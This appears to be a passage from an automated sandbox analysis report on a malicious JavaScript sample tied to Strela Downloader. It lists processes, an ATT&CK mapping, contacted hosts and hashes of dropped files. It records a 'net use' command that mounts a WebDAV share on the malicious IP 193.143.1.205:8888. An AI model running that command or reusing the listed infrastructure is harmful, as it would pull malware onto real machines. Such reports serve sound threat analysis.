Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
77502473271720630.js	5%	Virustotal		Browse
77502473271720630.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888//	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/p	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/space	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.34	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2705944114.0000018832600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/p	net.exe, 00000007.00000002.1457786545.000001B6F8AE8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1457466280.000001B6F8B1D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1458190726.000001B6F8B3D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1457868047.000001B6F8B1D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1457786545.000001B6F8AE8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1456928982.000001B6F8B3B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/space	net.exe, 00000007.00000002.1457786545.000001B6F8AE8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1459274711.0000018832800000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://193.143.1.205:8888//	net.exe, 00000007.00000003.1457466280.000001B6F8B1D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1457868047.000001B6F8B1D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587833
Start date and time:	2025-01-10 18:22:26 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	77502473271720630.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 54.224.241.105, 18.213.11.84, 50.16.47.176, 34.237.241.83, 184.28.90.27, 23.209.209.135, 217.20.57.34, 2.16.168.107, 2.16.168.105, 23.57.90.79, 23.57.90.70, 23.57.90.68, 23.57.90.73, 23.57.90.74, 23.57.90.75, 20.12.23.50, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:23:26	API Interceptor	22x Sleep call for process: powershell.exe modified
12:23:30	API Interceptor	1x Sleep call for process: net.exe modified
12:23:30	API Interceptor	2x Sleep call for process: svchost.exe modified
12:23:37	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	213045010931018335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	229242754773566299.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17048156412338914445.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1474915939307712026.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.18
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.34
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.19
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	hy09j7Q8kJ.exe	Get hash	malicious	FormBook	Browse	217.20.57.35
	489131343024428850.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.34
	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.39
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.38

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	213045010931018335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	229242754773566299.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17048156412338914445.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1474915939307712026.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2486775641261320080.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4932342601705591
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1Ztai:cJhXC9lHmutpJyiRDeJ/aUKrDgnmg
MD5:	C8996693425FBDA913971F3EF460A9FC
SHA1:	D33C2EC006F5514032BDA155CA83F02A2361FCEE
SHA-256:	97DB7F13A1A9DA350FA5573098CD9DA8A53E819A30B7C58C70C1444C24C7B14D
SHA-512:	90E585CB94D5B424AE215B843D72BF1FA8783FB98F5836A6736B626A35BC6D52D1D913AAFC3DB67D1342753DDFF2D9194B50EE28235CEC6A10073D916436F857
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xda21c641, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7217371087520664
Encrypted:	false
SSDEEP:	1536:LSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:LazaNvFv8V2UW/DLzN/w4wZi
MD5:	8D3A4C2F1640B8A83CF037A7FCD11918
SHA1:	F81B4C5E77D72FF0700527B8847170D5EDB9FAD8
SHA-256:	F05341BB4519E401DE86036A5757916252DC90F18D5A2AEC6ACD24CAAD300730
SHA-512:	B8FBFDD67C81243FD2DDB408C22C52DDDBE7B2C64D5FC845ED0200678A6216442F18858D7F30312AE1EEF26CBF0E6A43E1FFB538BE58F560ED5ABD52B332D9F0
Malicious:	false
Preview:	.!.A... ...............X\...;...{......................p.D..........{}......}..h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{...........................................}K..................&.......}...........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08178788495067563
Encrypted:	false
SSDEEP:	3:EQW/lKYeMnJKhgCgvT/fgsCrZClW/tku7Ehl1oll+SHY/Xl+/rQLve:5GlKzYJKh8Lfgs3Gy0EhleAS4M
MD5:	9FC816BCFA2D7B4610572D2E5AF7B645
SHA1:	9D0247CDD47FF4C391CD0EE1C3DFF55CD9183737
SHA-256:	D991CEF0D1265B5106B58B6E9F85561DC14D42B3E4B77DB3612E2AA8D1CA22AE
SHA-512:	5857C9AC9728B481B2105F0534ED4DE2A6F7397933709AD3E2FF58E52C706E4118C12CD527AE1B69F814A6B981156534FCB979E0D63B346EB915A404B1035E14
Malicious:	false
Preview:	Q.......................................;...{.......}.......{}..............{}......{}.vv_Q.....{}..................&.......}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.124385584655912
Encrypted:	false
SSDEEP:	6:iO4Tq2PqLTwi2nKuAl9OmbnIFUtSy4vZZmwsy4vzkwOqLTwi2nKuAl9OmbjLJ:7cv8wZHAahFUt6/85TwZHAaSJ
MD5:	666BF855C8C64E29CFC64BCE1B5A345E
SHA1:	332B408A425152920A0436B7EEA60B92BAB81845
SHA-256:	A006E5DFDC35E600633CBA7E162201BC8BA9F36AA56E6C7DCF80A0926FDBDC3F
SHA-512:	E15E46C9ED69AB359B03188AD934098D5663E89FFC537381F782294F124F407F097EE50C7BA068AD22EE588FDEE15AA9E61ECC75BBCBA412D4BEB92B3BBC8EC0
Malicious:	false
Preview:	2025/01/10-12:23:30.163 1550 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:23:30.177 1550 Recovering log #3.2025/01/10-12:23:30.177 1550 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.124385584655912
Encrypted:	false
SSDEEP:	6:iO4Tq2PqLTwi2nKuAl9OmbnIFUtSy4vZZmwsy4vzkwOqLTwi2nKuAl9OmbjLJ:7cv8wZHAahFUt6/85TwZHAaSJ
MD5:	666BF855C8C64E29CFC64BCE1B5A345E
SHA1:	332B408A425152920A0436B7EEA60B92BAB81845
SHA-256:	A006E5DFDC35E600633CBA7E162201BC8BA9F36AA56E6C7DCF80A0926FDBDC3F
SHA-512:	E15E46C9ED69AB359B03188AD934098D5663E89FFC537381F782294F124F407F097EE50C7BA068AD22EE588FDEE15AA9E61ECC75BBCBA412D4BEB92B3BBC8EC0
Malicious:	false
Preview:	2025/01/10-12:23:30.163 1550 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:23:30.177 1550 Recovering log #3.2025/01/10-12:23:30.177 1550 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.143490150611167
Encrypted:	false
SSDEEP:	6:iO4y8+q2PqLTwi2nKuAl9Ombzo2jMGIFUtScS5ZmwsKBVkwOqLTwi2nKuAl9OmbX:71v8wZHAa8uFUt1S5/d5TwZHAa8RJ
MD5:	D60AAFE7910CA4F5EDAD8D2D479167D0
SHA1:	30D8658C0ABAB9144DFA504AA8D5F90A4962BAA1
SHA-256:	EAE49DE00D4822CEBECA66C079E763BD354E459085BF71BC6B90C634212D8BBA
SHA-512:	105B630725D64091FAF148DE13F83CE521C1BA029839DF4960E04AA3A210046C4F114F684580CDD9ECACA41A2818E7FC35014D7D754A86BF73828FB1754A2F7D
Malicious:	false
Preview:	2025/01/10-12:23:30.183 1078 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:23:30.185 1078 Recovering log #3.2025/01/10-12:23:30.186 1078 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.143490150611167
Encrypted:	false
SSDEEP:	6:iO4y8+q2PqLTwi2nKuAl9Ombzo2jMGIFUtScS5ZmwsKBVkwOqLTwi2nKuAl9OmbX:71v8wZHAa8uFUt1S5/d5TwZHAa8RJ
MD5:	D60AAFE7910CA4F5EDAD8D2D479167D0
SHA1:	30D8658C0ABAB9144DFA504AA8D5F90A4962BAA1
SHA-256:	EAE49DE00D4822CEBECA66C079E763BD354E459085BF71BC6B90C634212D8BBA
SHA-512:	105B630725D64091FAF148DE13F83CE521C1BA029839DF4960E04AA3A210046C4F114F684580CDD9ECACA41A2818E7FC35014D7D754A86BF73828FB1754A2F7D
Malicious:	false
Preview:	2025/01/10-12:23:30.183 1078 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:23:30.185 1078 Recovering log #3.2025/01/10-12:23:30.186 1078 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.956361515785399
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq0EzsBdOg2HZocaq3QYiub5P7E4T3y:Y2sRdsaUdMHp3QYhbt7nby
MD5:	9C2CB37819340E0899068E7409DD36A3
SHA1:	55B3F514C8E9D64C3D84D618576FD335679F4A53
SHA-256:	96274CA45BE6C0659C9088E8967231C77E0CC2E87ECEC8C0B141C73AB02DDBB3
SHA-512:	F34C084750C059FB891ABCF6F43C379058ED3E2A3A4A1F824C9C81176B8DD4A00B1B1C6FA55C935571C09DCB5BE3E06E026A41799429D7E8E271EBD3CBACE39F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381089821830040","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":141154},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c097adb8-c457-4cca-8252-0db213006648.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.956361515785399
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq0EzsBdOg2HZocaq3QYiub5P7E4T3y:Y2sRdsaUdMHp3QYhbt7nby
MD5:	9C2CB37819340E0899068E7409DD36A3
SHA1:	55B3F514C8E9D64C3D84D618576FD335679F4A53
SHA-256:	96274CA45BE6C0659C9088E8967231C77E0CC2E87ECEC8C0B141C73AB02DDBB3
SHA-512:	F34C084750C059FB891ABCF6F43C379058ED3E2A3A4A1F824C9C81176B8DD4A00B1B1C6FA55C935571C09DCB5BE3E06E026A41799429D7E8E271EBD3CBACE39F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381089821830040","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":141154},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.221805633361182
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068OzJyr123/:1CDLCmPj8j0/8qKgwPHYPx8xemT8OzJf
MD5:	CF0056598660FE69E7D6D50324818E0B
SHA1:	345F7CC664FBDDA63FE8FE0C5E27701C3A41BD2D
SHA-256:	41C95D1C437977AA65BAD5DA7474A9954FBB0835F5699E1956AEC55F8E75A98A
SHA-512:	37E6E2929F22714EE670CEC85D27CE764DA797C57E7B945AC46D3CC3554A14A9E2EB8C04D6B3F7723CF1E527B5C58BFEA3B247672CD911CCCD81790FFFD92586
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.175909592577019
Encrypted:	false
SSDEEP:	6:iO4Z8+q2PqLTwi2nKuAl9OmbzNMxIFUtSAdXZmws4JVkwOqLTwi2nKuAl9OmbzNq:7cBv8wZHAa8jFUtX5/335TwZHAa84J
MD5:	8CF3D5DE26D59E9DD850E2864BCCC716
SHA1:	3012ADCB4EB75302AADA79DCC679F4323D1244CC
SHA-256:	9C6AABE78C7284E1DA2C4190CFF9640290B7E9E53AAA4E2A6AFD01FD9BDB91C5
SHA-512:	B7325A7A45F003DBAFE72A944730B5F1CA5AED073E017FCC2E1488697BBBD13D9D9F08E9467A0EDE1B00F9F4CE51C89B115FF013899ED44C6206C028B22816F0
Malicious:	false
Preview:	2025/01/10-12:23:30.463 1078 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:23:30.465 1078 Recovering log #3.2025/01/10-12:23:30.470 1078 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.175909592577019
Encrypted:	false
SSDEEP:	6:iO4Z8+q2PqLTwi2nKuAl9OmbzNMxIFUtSAdXZmws4JVkwOqLTwi2nKuAl9OmbzNq:7cBv8wZHAa8jFUtX5/335TwZHAa84J
MD5:	8CF3D5DE26D59E9DD850E2864BCCC716
SHA1:	3012ADCB4EB75302AADA79DCC679F4323D1244CC
SHA-256:	9C6AABE78C7284E1DA2C4190CFF9640290B7E9E53AAA4E2A6AFD01FD9BDB91C5
SHA-512:	B7325A7A45F003DBAFE72A944730B5F1CA5AED073E017FCC2E1488697BBBD13D9D9F08E9467A0EDE1B00F9F4CE51C89B115FF013899ED44C6206C028B22816F0
Malicious:	false
Preview:	2025/01/10-12:23:30.463 1078 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:23:30.465 1078 Recovering log #3.2025/01/10-12:23:30.470 1078 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4383053308959095
Encrypted:	false
SSDEEP:	384:ye+ci5GoiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:pEurVgazUpUTTGt
MD5:	B06EDB05E6DE49855128B8E9B3A04A8C
SHA1:	24E334A4FADB145BC0132F6E5A46C2639EE11F9E
SHA-256:	B2A50A93C4822E87B28A4D05A1EFB63D704809EE681A5BC34CD21B76E1DAE140
SHA-512:	CF07DEEAA87DCC36423BF435036D5DE8D03D9BBFD2F4C6EEADBFCA9F5B9491FCB93FE74A05FADE1E92167F9048FE2A173275AD3BE56916052EAB16AF8BE51F02
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.767621805051632
Encrypted:	false
SSDEEP:	48:7MWJioyVcioyXoy1C7oy16oy1OKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1OT:79Juc51XjBiMb9IVXEBodRBkZ
MD5:	C4EB4376200E96A597071FF09DE7A549
SHA1:	AE575A41E5E49B0BEE03CDD82673972B44EE6100
SHA-256:	5A20713AE192606D5726DD72057F6AB4A0A118DDF68ADEE21F32456D34079890
SHA-512:	FFF1725CFC7FCCFC6B98F95BDBBEE5831F98F6B40B5E23A93C8EA21BEBF7CAE6EDF0FB2D588051AD4408E41B06873B7DD82E1A2D15ABDFCA801628C2BD7C2104
Malicious:	false
Preview:	.... .c....."].?...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

